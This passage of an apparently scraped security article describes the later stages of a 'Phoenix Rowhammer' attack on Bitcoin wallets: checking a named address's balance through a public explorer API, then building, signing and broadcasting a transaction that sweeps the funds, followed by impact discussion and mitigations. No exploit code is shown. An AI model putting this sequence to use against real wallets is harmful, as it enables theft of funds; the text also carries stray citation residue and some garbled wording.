Bitcoin’s open-source nature allows for easy wallet monitoring, allowing an attacker to determine the exact balance of an unauthorized address (in this example, 9.023322989 BTC , which at a rate of $124,904 per BTC is equivalent to $1,127,026.44 ). This feature of Bitcoin’s infrastructure also creates additional risks: the loss of a private key not only leads to a loss of control over funds, but also immediately becomes completely transparent to third parties, including the attacker .

Thus, the balance verification stage highlights the informational openness of the blockchain system and completes the scientific attack chain, connecting the successful compromise of cryptographic keys with real damage to the owner of digital assets. During the balance verification stage, the attacker uses public blockchain explorer APIs—for example, the Insight REST API or blockchain.info—to obtain information about the current state of funds in a compromised Bitcoin address. Simply send a GET request to the API: for example, https://blockchain.info/rawaddr/15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit , to obtain the address’s balance in satoshi, and then convert the result to BTC. cryptodeep+2

This process is completely transparent and doesn’t require possession of the private key: knowledge of the public address is sufficient. The resulting data ( 9.02332298 BTC ) can be compared with the current Bitcoin market rate to convert the equivalent amount into USD ( ≈$1,127,026.44 at the time of the attack). Software methods allow these steps to be automated and incorporated into the attack algorithm, instantly verifying the economic feasibility of further theft. habr+1

From a scientific analysis perspective, the balance verification stage demonstrates the unique transparency of the blockchain system, where any compromise of keys automatically leads to the loss of control over funds, and the risks for the owner escalate to the complete loss of assets. habr+2

Step 9: Create a malicious transaction to steal funds

In the final stage of the malicious campaign, after successfully extracting the Bitcoin wallet’s private key, the attacker initiates the formation and propagation of a transaction on the blockchain with the aim of transferring all available funds from the compromised address ( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit) to their controlled address.

Scientific structure of the process

A Bitcoin transaction is a digital message consisting of inputs (sources of funds assigned to the victim’s address), outputs (target addresses of the recipient), and a digital signature certifying the sender’s authority .

1. Definition of UTXO (Unspent Outputs)
   • Using public blockchain explorers or private nodes, a complete list of unspent transaction outputs (UTXOs) associated with the compromised address is determined. These are the formal sources of funds held by the address.
2. Transaction formation
   • The attacker programmatically generates a transaction, specifying:
     • All found UTXO as inputs to withdraw the entire wallet balance;
     • Your Bitcoin address as the only recipient (output);
     • The amount of the commission (fee) required for expedited confirmation;
     • Locktime and sequence time parameters if needed.
3. Signing a transaction using a private key
   • The malicious script uses the extracted private key to digitally sign the generated transaction (ECDSA using secp256k1). This verifies the authority to manage the funds.
4. Broadcast transactions to the network
   • The completed signed transaction is sent to the mempool of public Bitcoin nodes (via the RPC interface, public APIs, or wallet integration). Typically, the attacker uses multiple distribution points to increase the likelihood of the transaction being included in an ecos block.
5. Miner verification and irreversibility
   • Miners verify the transaction and include it in the next block (usually within 10 minutes), after which the funds are irreversibly transferred to the attacker’s control. After several confirmations (usually six or more), the transaction is considered final, and there is no chance of cancellation or recall .

Scientific and practical significance

This sequence illustrates a fundamental vulnerability of cryptographic assets: anyone with a private key can create a protocol-valid transaction to withdraw all funds, regardless of the original owner. Malware—whether it’s the Phoenix Rowhammer exploit —automates these steps: determining the balance, spoofing the recipient address, or creating its own signature transaction with a confiscated key. securelist

The process relies entirely on the blockchain architecture: decentralization and cryptographic reliability of the network do not prevent such attacks if the private key is compromised. The only preventative measures remain hardware and software security at the point of key generation and storage, as well as prompt detection of signs of compromise before a transaction is executed.

Thus, the stage of creating a malicious transaction completes the entire attack chain, giving it a complete economic meaning – an irreversible transfer of funds to the attacker, fully validated by the consensus mechanisms of the Bitcoin network.

Technical features of implementation:

The script includes its own implementation of Base58 encoding, which is necessary for creating WIF keys without external dependencies. Each step is accompanied by detailed comments explaining the attacker’s goals and attack mechanisms.

Important Warnings: The code contains multiple warnings stating that it is intended for educational and scientific purposes only. Using similar methods for real-world attacks is a criminal offense.

This demo script is ideal for illustrating the Phoenix Rowhammer attack threat in your research paper and shows readers the full cycle of Bitcoin wallet compromise through DDR5 memory hardware vulnerabilities.

Global implications for the cryptocurrency industry

Impact on Bitcoin infrastructure

The Phoenix Rowhammer attack poses unprecedented risks to the entire Bitcoin infrastructure, including exchanges, custody services, mining pools, and individual users. Potential consequences include: keyhunters

Mass Compromises: The potential for multiple wallets to be compromised simultaneously on systems with vulnerable DDR5 memory could lead to large-scale cryptocurrency thefts.

Eroding Trust: Successful hardware attacks could seriously undermine trust in cryptocurrency technologies and blockchain systems in general.

Double-spend attacks: When wallets from multiple services are simultaneously compromised, an attacker can use the leaked keys to quickly create conflicting transactions. keyhunters

Economic risks and damage assessment

According to cryptocurrency security research, hardware vulnerabilities pose one of the most serious threats to digital assets. The Phoenix attack exacerbates these risks because: merklescience+1

Unpatching: Unlike software vulnerabilities , hardware defects in memory chips that have already been manufactured cannot be fixed with software updates. tenable+1

Long-term exposure: DDR5 modules manufactured between 2021 and 2024 will remain vulnerable for their entire lifespan, which could be 10-15 years.

Protection methods and mitigation recommendations

Technical countermeasures

Researchers have proposed several methods to protect against Phoenix Rowhammer attacks, although each has its own limitations: tenable+1

Increasing the memory refresh rate: Three times reducing the DRAM refresh interval (tREFI) can effectively prevent the attack, but results in an 8.4% decrease in system performance. This solution also increases the risk of system instability and errors. simplysecuregroup

Using ECC memory: Error Correcting Code memory can detect and correct some types of bit errors, but research has shown that modern ECC implementations do not provide complete protection against sophisticated Rowhammer attacks. comsec-files.ethz+1

Software protection measures

Secure Memory Wipe: All applications that handle private keys or seed phrases should explicitly wipe their memory after use using dedicated secure wipe tools .

Read more